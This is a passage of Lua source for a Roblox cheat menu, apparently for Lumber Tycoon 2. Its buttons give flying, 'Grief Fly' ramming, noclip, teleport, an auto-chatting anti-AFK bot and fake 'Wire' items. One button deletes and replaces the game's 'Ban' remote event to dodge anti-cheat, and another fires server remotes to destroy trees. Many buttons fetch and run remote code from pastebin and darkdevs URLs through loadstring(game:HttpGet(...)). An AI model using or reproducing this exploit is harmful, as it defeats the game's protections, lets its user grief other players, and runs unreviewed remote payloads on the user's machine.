if v:IsA("BasePart") and v.Name == "BlacklistWall" then
v:Destroy()
end
end
end)
GriefFly.Name = "GriefFly"
GriefFly.Parent = toolaFrame
GriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
GriefFly.BorderColor3 = Color3.new(0, 0, 0)
GriefFly.Position = UDim2.new(0, 3, 0, 72)
GriefFly.Size = UDim2.new(0, 110, 0, 20)
GriefFly.Font = Enum.Font.Fantasy
GriefFly.FontSize = Enum.FontSize.Size18
GriefFly.Text = "Grief Fly Off "
GriefFly.TextColor3 = Color3.new(255, 0, 0)
GriefFly.TextSize = 15
GriefFly.MouseButton1Click:connect(function()
GriefFly.Text = "Grief Fly On "
GriefFly.TextColor3 = Color3.new(1, 1, 1)
StopGriefFly.Text = "Stop Fly"
Speed = 2
Force = 800000
--Script:
lplayer = game:GetService("Players").LocalPlayer
Mouse = lplayer:GetMouse()
speedfly = Speed
T = lplayer.Character.HumanoidRootPart
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local function fly()
flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
lplayer.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
-- Made by JackMcJagger15
power = Force -- change this to make it more or less powerful
game:GetService('RunService').Stepped:connect(function()
game.Players.LocalPlayer.Character.Head.CanCollide = false
game.Players.LocalPlayer.Character.Torso.CanCollide = false
game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
end)
wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
while wait(0.2) do
game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:connect(function()
script:Remove()
end)
end
end)
StopGriefFly.Name = "StopGriefFly"
StopGriefFly.Parent = toolaFrame
StopGriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
StopGriefFly.BorderColor3 = Color3.new(0, 0, 0)
StopGriefFly.Position = UDim2.new(0, 117, 0, 72)
StopGriefFly.Size = UDim2.new(0, 51, 0, 20)
StopGriefFly.Font = Enum.Font.Fantasy
StopGriefFly.FontSize = Enum.FontSize.Size18
StopGriefFly.Text = "Stop Fly"
StopGriefFly.TextColor3 = Color3.new(255, 0, 0)
StopGriefFly.TextSize = 15
StopGriefFly.MouseButton1Click:connect(function()
GriefFly.TextColor3 = Color3.new(1, 1, 1)
active = false
game.Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:Remove()
if flying then
end
GriefFly.Text = "Grief Fly Off "
StopGriefFly.Text = "Press Fly"
GriefFly.TextColor3 = Color3.new(255, 0, 0)
end)
Fly.Name = "Fly"
Fly.Parent = toolaFrame
Fly.BackgroundColor3 = Color3.new(0, 0, 0)
Fly.BorderColor3 = Color3.new(0, 0, 0)
Fly.Position = UDim2.new(0, 3, 0, 95)
Fly.Size = UDim2.new(0, 165, 0, 20)
Fly.Font = Enum.Font.Fantasy
Fly.FontSize = Enum.FontSize.Size18
Fly.Text = "Fly (Press again to STOP)"
Fly.TextColor3 = Color3.new(255, 0, 0)
Fly.TextSize = 15
Fly.MouseButton1Down:connect(function()
flying = not flying
repeat wait()
until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
local mouse = game.Players.LocalPlayer:GetMouse()
repeat wait() until mouse
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 200
local speed = 0
if flying then
end
function FlyFunction()
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
repeat wait()
plr.Character.Humanoid.PlatformStand = true
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0.1,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
until not flying
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
end
mouse.KeyDown:connect(function(key)
if key:lower() == "w" then
ctrl.f = 1
elseif key:lower() == "s" then
ctrl.b = -1
elseif key:lower() == "a" then
ctrl.l = -1
elseif key:lower() == "d" then
ctrl.r = 1
end
end)
mouse.KeyUp:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
end
end)
FlyFunction()
end)
PinkWires.Name = "PinkWires"
PinkWires.Parent = toolaFrame
PinkWires.BackgroundColor3 = Color3.new(0, 0, 0)
PinkWires.BorderColor3 = Color3.new(0, 0, 0)
PinkWires.Position = UDim2.new(0, 3, 0, 118)
PinkWires.Size = UDim2.new(0, 165, 0, 20)
PinkWires.Font = Enum.Font.Fantasy
PinkWires.FontSize = Enum.FontSize.Size18
PinkWires.Text = "Pink Wires"
PinkWires.TextColor3 = Color3.new(255, 0, 0)
PinkWires.TextSize = 15
PinkWires.MouseButton1Click:connect(function()
local typecurrent = false
if typecurrent == true then
typecurrent = false
PinkWires.TextColor3 = Color3.new(0.666667, 0, 0)
PinkWires.Text = "Pink Wires: Magenta Icicle"
local c = game.ReplicatedStorage.Purchasables:FindFirstChild("IcicleWireMagenta", true)
c.Name = "Wire"
local d = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
d:Destroy()
elseif typecurrent == false then
typecurrent = true
PinkWires.TextColor3 = Color3.new(1, 1, 1)
PinkWires.Text = "Pink Wires: Active"
local a = game.ReplicatedStorage.Purchasables:FindFirstChild("NeonWirePinky", true)
a.Name = "Wire"
local b = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
b:Destroy()
end
end)
WaterCollide.Name = "WaterCollide"
WaterCollide.Parent = toolaFrame
WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
WaterCollide.BorderColor3 = Color3.new(0, 0, 0)
WaterCollide.Position = UDim2.new(0, 3, 0, 141)
WaterCollide.Size = UDim2.new(0, 165, 0, 20)
WaterCollide.Font = Enum.Font.Fantasy
WaterCollide.FontSize = Enum.FontSize.Size18
WaterCollide.Text = "Walk On Water"
WaterCollide.TextColor3 = Color3.new(255, 0, 0)
WaterCollide.TextSize = 15
WaterCollide.MouseButton1Down:connect(function()
if WCollide == "Nothing" then
WCollide = "On"
WaterCollide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
WaterCollide.TextColor3 = Color3.new(1, 1, 1)
WaterCollide.Text = "Water Is Solid"
game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
for i,v in pairs(game.Workspace.Water:GetChildren()) do
if v:IsA("Part") then
v.CanCollide = true
end
end
else
WCollide = "Nothing"
WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
WaterCollide.TextColor3 = Color3.new(255, 0, 0)
WaterCollide.Text = "Walk On Water"
for i,v in pairs(game.Workspace.Water:GetChildren()) do
if v:IsA("Part") then
v.CanCollide = false
end
end
end
end)
ClickTP.Name = "ClickTP"
ClickTP.Parent = toolaFrame
ClickTP.BackgroundColor3 = Color3.new(0, 0, 0)
ClickTP.BorderColor3 = Color3.new(0, 0, 0)
ClickTP.Position = UDim2.new(0, 3, 0, 164)
ClickTP.Size = UDim2.new(0, 165, 0, 20)
ClickTP.Font = Enum.Font.Fantasy
ClickTP.FontSize = Enum.FontSize.Size18
ClickTP.Text = "ClickTP"
ClickTP.TextColor3 = Color3.new(255, 0, 0)
ClickTP.TextSize = 15
ClickTP.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
Noclip.Name = "Noclip"
Noclip.Parent = toolaFrame
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.BorderColor3 = Color3.new(0, 0, 0)
Noclip.Position = UDim2.new(0, 3, 0, 187)
Noclip.Size = UDim2.new(0, 165, 0, 20)
Noclip.Font = Enum.Font.Fantasy
Noclip.FontSize = Enum.FontSize.Size18
Noclip.Text = "No clip"
Noclip.TextColor3 = Color3.new(255, 0, 0)
Noclip.TextSize = 15
noclip = false
game:GetService('RunService').Stepped:connect(function()
if noclip then
game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.TextColor3 = Color3.new(1, 1, 1)
Noclip.Text = "No Clip On"
end
end)
Noclip.MouseButton1Down:connect(function()
noclip = not noclip
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.TextColor3 = Color3.new(255, 0, 0)
Noclip.Text = "No Clip Off"
end)
AntiAFK.Name = "AntiAFK"
AntiAFK.Parent = toolaFrame
AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFK.BorderColor3 = Color3.new(0, 0, 0)
AntiAFK.Position = UDim2.new(0, 3, 0, 233)
AntiAFK.Size = UDim2.new(0, 165, 0, 20)
AntiAFK.Font = Enum.Font.Fantasy
AntiAFK.FontSize = Enum.FontSize.Size18
AntiAFK.Text = "Start Anti-AFK Mode"
AntiAFK.TextColor3 = Color3.new(255, 0, 0)
AntiAFK.TextSize = 15
AntiAFKtime.Name = "AntiAFKtime"
AntiAFKtime.Parent = toolaFrame
AntiAFKtime.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFKtime.BorderColor3 = Color3.new(0, 0, 0)
AntiAFKtime.Position = UDim2.new(0, 3, 0, 210)
AntiAFKtime.Size = UDim2.new(0, 165, 0, 20)
AntiAFKtime.Font = Enum.Font.Fantasy
AntiAFKtime.FontSize = Enum.FontSize.Size18
AntiAFKtime.Text = "AFK for: 0 Seconds"
AntiAFKtime.TextColor3 = Color3.new(255, 0, 0)
AntiAFKtime.TextSize = 15
AntiAFK.MouseButton1Down:Connect(function()
if afkactive == true then
afkactive = false
AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
AntiAFK.Text = "Start Anti-AFK Mode"
elseif afkactive == false then
afkactive = true
AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
AntiAFK.Text = "Stop Anti-AFK Mode"
logtime = coroutine.wrap(function()
afktotaltime=0
while afkactive == true do
wait(1)
afktotaltime=afktotaltime+1
AntiAFKtime.Text = "AFK for: "..afktotaltime.." Seconds"
end
end)
messageBot = coroutine.wrap(function()
while afkactive == true do
wait(900)
possiblechats = {"afk", "brb", "I'm AFK"}
decide=math.random(1,#possiblechats)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(possiblechats[decide], "All")
game.Players:Chat("/e point")
end
end)
moveChar = coroutine.wrap(function()
plr = game:service'Players'.LocalPlayer
char = plr.Character
hum = char:FindFirstChildOfClass'Humanoid'
while afkactive==true do
wait(1)
hum:Move(Vector3.new(1, 0, 0), false)
wait(1)
hum:Move(Vector3.new(-1, 0, 0), false)
wait(1)
hum:Move(Vector3.new(1, 0, 0), false)
wait(1)
hum:Move(Vector3.new(-1, 0, 0), false)
wait(1)
hum:Move(Vector3.new(0, 1, 0), false)
wait(1)
hum:Move(Vector3.new(0, 1, 0), false)
wait(60)
end
end)
logtime()
moveChar()
messageBot()
end
end)
Fog.Name = "Fog"
Fog.Parent = toolaFrame
Fog.BackgroundColor3 = Color3.new(0, 0, 0)
Fog.BorderColor3 = Color3.new(0, 0, 0)
Fog.Position = UDim2.new(0, 3, 0, 256)
Fog.Size = UDim2.new(0, 165, 0, 20)
Fog.Font = Enum.Font.Fantasy
Fog.FontSize = Enum.FontSize.Size18
Fog.Text = "Remove Fog"
Fog.TextColor3 = Color3.new(255, 0, 0)
Fog.TextSize = 15
Fog.MouseButton1Down:connect(function()
Fog.BackgroundColor3 = Color3.new(0, 0, 0)
Fog.TextColor3 = Color3.new(1, 1, 1)
game.Lighting.Changed:connect(function()
game.Lighting.TimeOfDay = "12:00:00"
game.Lighting.FogEnd = 9999
game.Lighting.Brightness = 2
end)
end)
CARAs.Name = "CARAs"
CARAs.Parent = toolaFrame
CARAs.BackgroundColor3 = Color3.new(0, 0, 0)
CARAs.BorderColor3 = Color3.new(0, 0, 0)
CARAs.Position = UDim2.new(0, 147, 0, 279)
CARAs.Size = UDim2.new(0, 21, 0, 20)
CARAs.Font = Enum.Font.Fantasy
CARAs.FontSize = Enum.FontSize.Size18
CARAs.Text = "S"
CARAs.TextColor3 = Color3.new(255, 0, 0)
CARAs.TextSize = 15
CARA.Name = "CARA"
CARA.Parent = toolaFrame
CARA.BackgroundColor3 = Color3.new(0, 0, 0)
CARA.BorderColor3 = Color3.new(0, 0, 0)
CARA.Position = UDim2.new(0, 3, 0, 279)
CARA.Size = UDim2.new(0, 140, 0, 20)
CARA.Font = Enum.Font.Fantasy
CARA.FontSize = Enum.FontSize.Size18
CARA.Text = "Fast Car"
CARA.TextColor3 = Color3.new(255, 0, 0)
CARA.TextSize = 15
CARA.MouseButton1Down:connect(function()
CARA.BackgroundColor3 = Color3.new(0, 0, 0)
CARA.TextColor3 = Color3.new(1, 1, 1)
game.Workspace.PlayerModels.ChildAdded:connect(function(ADDED)
wait(0.5)
if ADDED:FindFirstChild('Configuration') then
if ADDED.Configuration:FindFirstChild('MaxSpeed') then
ADDED.Configuration.MaxSpeed.Value = CARAs.Text
end
end
end)
end)
RemoveT.Name = "RemoveT"
RemoveT.Parent = toolaFrame
RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
RemoveT.BorderColor3 = Color3.new(0, 0, 0)
RemoveT.Position = UDim2.new(0, 3, 0, 302)
RemoveT.Size = UDim2.new(0, 165, 0, 20)
RemoveT.Font = Enum.Font.Fantasy
RemoveT.FontSize = Enum.FontSize.Size18
RemoveT.Text = "Remove Trees"
RemoveT.TextColor3 = Color3.new(255, 0, 0)
RemoveT.TextSize = 15
RemoveT.MouseButton1Down:connect(function()
RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
RemoveT.TextColor3 = Color3.new(1, 1, 1)
for i,v in pairs(game.Workspace:GetDescendants()) do
if v.Name == "WoodSection" and v.Parent:FindFirstChild("CutEvent") then
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(v.Parent)
game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v.Parent)
end
end
game.Workspace.DescendantAdded:connect(function(Thing)
wait(0.1)
if Thing.Name == "WoodSection" and Thing.Parent:FindFirstChild("CutEvent") then
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Thing.Parent)
game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(Thing.Parent)
end
end)
end)
ReJoinServer.Name = "ReJoinServer"
ReJoinServer.Parent = toolaFrame
ReJoinServer.BackgroundColor3 = Color3.new(0, 0, 0)
ReJoinServer.BorderColor3 = Color3.new(0, 0, 0)
ReJoinServer.Position = UDim2.new(0, 3, 0, 325)
ReJoinServer.Size = UDim2.new(0, 165, 0, 20)
ReJoinServer.Font = Enum.Font.Fantasy
ReJoinServer.FontSize = Enum.FontSize.Size18
ReJoinServer.Text = "ReJoin Server"
ReJoinServer.TextColor3 = Color3.new(255, 0, 0)
ReJoinServer.TextSize = 15
ReJoinServer.MouseButton1Down:connect(function()
local placeId = "13822889"
game:GetService("TeleportService"):Teleport(placeId)
end)
Reset.Name = "Reset"
Reset.Parent = toolaFrame
Reset.BackgroundColor3 = Color3.new(0, 0, 0)
Reset.BorderColor3 = Color3.new(0, 0, 0)
Reset.Position = UDim2.new(0, 3, 0, 348)
Reset.Size = UDim2.new(0, 165, 0, 20)
Reset.Font = Enum.Font.Fantasy
Reset.FontSize = Enum.FontSize.Size18
Reset.Text = "Reset Character"
Reset.TextColor3 = Color3.new(255, 0, 0)
Reset.TextSize = 15
Reset.MouseButton1Click:connect(function()
game.Players.LocalPlayer.Character.Head:Destroy()
end)
local BuyFrame = Instance.new("Frame")
local Buymenu = Instance.new("ImageButton")
local bcps = Instance.new("TextButton")
local lshop = Instance.new("TextButton")
local fshop = Instance.new("TextButton")
local wrus = Instance.new("TextButton")
local bp = Instance.new("TextButton")
local ls = Instance.new("TextButton")
Buymenu.Name = "Buymenu"
Buymenu.Parent = Picker
Buymenu.BackgroundColor3 = Color3.new(1, 1, 1)
Buymenu.BorderColor3 = Color3.new(0, 0, 0)
Buymenu.Position = UDim2.new(0, 15, 0,515)
Buymenu.Size = UDim2.new(0, 80, 0, 80)
Buymenu.ZIndex = 3
Buymenu.Image = "rbxassetid://3936608288"
Buymenu.ScaleType = Enum.ScaleType.Crop
Buymenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)
BuyFrame.Name = "BuyFrame"
BuyFrame.Parent = MenuFrame
BuyFrame.BorderSizePixel = 1
BuyFrame.BackgroundTransparency = 0
BuyFrame.BorderColor3 = Color3.new(0, 0, 0)
BuyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
BuyFrame.Size = UDim2.new(0, 170, 0, 120)
BuyFrame.Visible = false
wrus.Name = "wrus"
wrus.Parent = BuyFrame
wrus.BackgroundColor3 = Color3.new(0, 0, 0)
wrus.BorderColor3 = Color3.new(0, 0, 0)
wrus.Position = UDim2.new(0, 3, 0, 3)
wrus.Size = UDim2.new(0, 164, 0, 20)
wrus.Font = Enum.Font.Fantasy
wrus.FontSize = Enum.FontSize.Size18
wrus.Text = "Wod R Us"
wrus.TextColor3 = Color3.new(255, 0, 0)
wrus.TextSize = 15
wrus.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/fKZ8uQjD',true))()
end)
fshop.Name = "fshop"
fshop.Parent = BuyFrame
fshop.BackgroundColor3 = Color3.new(0, 0, 0)
fshop.BorderColor3 = Color3.new(0, 0, 0)
fshop.Position = UDim2.new(0, 3, 0, 26)
fshop.Size = UDim2.new(0, 164, 0, 20)
fshop.Font = Enum.Font.Fantasy
fshop.FontSize = Enum.FontSize.Size18
fshop.Text = "Furniture Store"
fshop.TextColor3 = Color3.new(255, 0, 0)
fshop.TextSize = 15
fshop.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/S9SYLmVx',true))()
end)
bcps.Name = "bcps"
bcps.Parent = BuyFrame
bcps.BackgroundColor3 = Color3.new(0, 0, 0)
bcps.BorderColor3 = Color3.new(0, 0, 0)
bcps.Position = UDim2.new(0, 3, 0, 49)
bcps.Size = UDim2.new(0, 164, 0, 20)
bcps.Font = Enum.Font.Fantasy
bcps.FontSize = Enum.FontSize.Size18
bcps.Text = "Bobs, Car, Pics"
bcps.TextColor3 = Color3.new(255, 0, 0)
bcps.TextSize = 15
bcps.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/nG51TnbL',true))()
end)
ls.Name = "ls"
ls.Parent = BuyFrame
ls.BackgroundColor3 = Color3.new(0, 0, 0)
ls.BorderColor3 = Color3.new(0, 0, 0)
ls.Position = UDim2.new(0, 3, 0, 72)
ls.Size = UDim2.new(0, 164, 0, 20)
ls.Font = Enum.Font.Fantasy
ls.FontSize = Enum.FontSize.Size18
ls.Text = "Logic Store"
ls.TextColor3 = Color3.new(255, 0, 0)
ls.TextSize = 15
ls.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/eCtaBT4h',true))()
end)
bp.Name = "bp"
bp.Parent = BuyFrame
bp.BackgroundColor3 = Color3.new(0, 0, 0)
bp.BorderColor3 = Color3.new(0, 0, 0)
bp.Position = UDim2.new(0, 3, 0, 96)
bp.Size = UDim2.new(0, 164, 0, 20)
bp.Font = Enum.Font.Fantasy
bp.FontSize = Enum.FontSize.Size18
bp.Text = "Blue Prints"
bp.TextColor3 = Color3.new(255, 0, 0)
bp.TextSize = 15
bp.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/4MCbKXUs',true))()
end)
local LT2GUI2Frame = Instance.new("Frame")
local Btoolamenu = Instance.new("ImageButton")
local FunStuffHOVER = Instance.new("TextButton")
local FunStuffTHOMAS = Instance.new("TextButton")
local FunStuffPOLICE = Instance.new("TextButton")
local FunStuffSPRAY = Instance.new("TextButton")
local FunStuffCOCA = Instance.new("TextButton")
local FunStuffLEAKED = Instance.new("TextButton")
local FunStuffFLASH = Instance.new("TextButton")
local FunStuffReset = Instance.new("TextButton")
Btoolamenu.Name = "Btoolamenu"
Btoolamenu.Parent = Picker
Btoolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
Btoolamenu.BorderColor3 = Color3.new(0, 0, 0)
Btoolamenu.Position = UDim2.new(0, 15, 0,600)
Btoolamenu.Size = UDim2.new(0, 80, 0, 80)
Btoolamenu.ZIndex = 3
Btoolamenu.Image = "rbxassetid://3953123880"
Btoolamenu.ScaleType = Enum.ScaleType.Crop
Btoolamenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)
LT2GUI2Frame.Name = "LT2GUI2Frame"
LT2GUI2Frame.Parent = MenuFrame
LT2GUI2Frame.BorderSizePixel = 1
LT2GUI2Frame.BackgroundTransparency = 0
LT2GUI2Frame.BorderColor3 = Color3.new(0, 0, 0)
LT2GUI2Frame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
LT2GUI2Frame.Size = UDim2.new(0, 170, 0, 186)
LT2GUI2Frame.Visible = false
FunStuffHOVER.Name = "FunStuffHOVER"
FunStuffHOVER.Parent = LT2GUI2Frame
FunStuffHOVER.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffHOVER.BorderColor3 = Color3.new(0, 0, 0)
FunStuffHOVER.Position = UDim2.new(0, 3, 0, 3)
FunStuffHOVER.Size = UDim2.new(0, 165, 0, 20)
FunStuffHOVER.Font = Enum.Font.Fantasy
FunStuffHOVER.FontSize = Enum.FontSize.Size18
FunStuffHOVER.Text = "Hover Board"
FunStuffHOVER.TextColor3 = Color3.new(255, 0, 0)
FunStuffHOVER.TextSize = 15
FunStuffHOVER.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/Hoverboard.txt',true))()
end)
FunStuffTHOMAS.Name = "FunStuffTHOMAS"
FunStuffTHOMAS.Parent = LT2GUI2Frame
FunStuffTHOMAS.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffTHOMAS.BorderColor3 = Color3.new(0, 0, 0)
FunStuffTHOMAS.Position = UDim2.new(0, 3, 0, 26)
FunStuffTHOMAS.Size = UDim2.new(0, 165, 0, 20)
FunStuffTHOMAS.Font = Enum.Font.Fantasy
FunStuffTHOMAS.FontSize = Enum.FontSize.Size18
FunStuffTHOMAS.Text = "Thomas The Tank"
FunStuffTHOMAS.TextColor3 = Color3.new(255, 0, 0)
FunStuffTHOMAS.TextSize = 15
FunStuffTHOMAS.MouseButton1Click:connect(function()
loadstring(game:HttpGet('http://pastebin.com/raw/tMr759X7',true))()
end)
FunStuffPOLICE.Name = "FunStuffPOLICE"
FunStuffPOLICE.Parent = LT2GUI2Frame
FunStuffPOLICE.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffPOLICE.BorderColor3 = Color3.new(0, 0, 0)
FunStuffPOLICE.Position = UDim2.new(0, 3, 0, 49)
FunStuffPOLICE.Size = UDim2.new(0, 165, 0, 20)
FunStuffPOLICE.Font = Enum.Font.Fantasy
FunStuffPOLICE.FontSize = Enum.FontSize.Size18
FunStuffPOLICE.Text = "Police Man"
FunStuffPOLICE.TextColor3 = Color3.new(255, 0, 0)
FunStuffPOLICE.TextSize = 15
FunStuffPOLICE.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/FR9Fzcqw',true))()
end)
FunStuffSPRAY.Name = "FunStuffSPRAY"
FunStuffSPRAY.Parent = LT2GUI2Frame
FunStuffSPRAY.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffSPRAY.BorderColor3 = Color3.new(0, 0, 0)
FunStuffSPRAY.Position = UDim2.new(0, 3, 0, 72)
FunStuffSPRAY.Size = UDim2.new(0, 165, 0, 20)
FunStuffSPRAY.Font = Enum.Font.Fantasy
FunStuffSPRAY.FontSize = Enum.FontSize.Size18
FunStuffSPRAY.Text = "Spray Can"
FunStuffSPRAY.TextColor3 = Color3.new(255, 0, 0)
FunStuffSPRAY.TextSize = 15
FunStuffSPRAY.MouseButton1Click:connect(function()
loadstring(game:HttpGet('http://pastebin.com/raw/raYkCjyy',true))()
end)
FunStuffCOCA.Name = "FunStuffCOCA"
FunStuffCOCA.Parent = LT2GUI2Frame
FunStuffCOCA.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffCOCA.BorderColor3 = Color3.new(0, 0, 0)
FunStuffCOCA.Position = UDim2.new(0, 3, 0, 95)
FunStuffCOCA.Size = UDim2.new(0, 165, 0, 20)
FunStuffCOCA.Font = Enum.Font.Fantasy
FunStuffCOCA.FontSize = Enum.FontSize.Size18
FunStuffCOCA.Text = "Coca Cola"
FunStuffCOCA.TextColor3 = Color3.new(255, 0, 0)
FunStuffCOCA.TextSize = 15
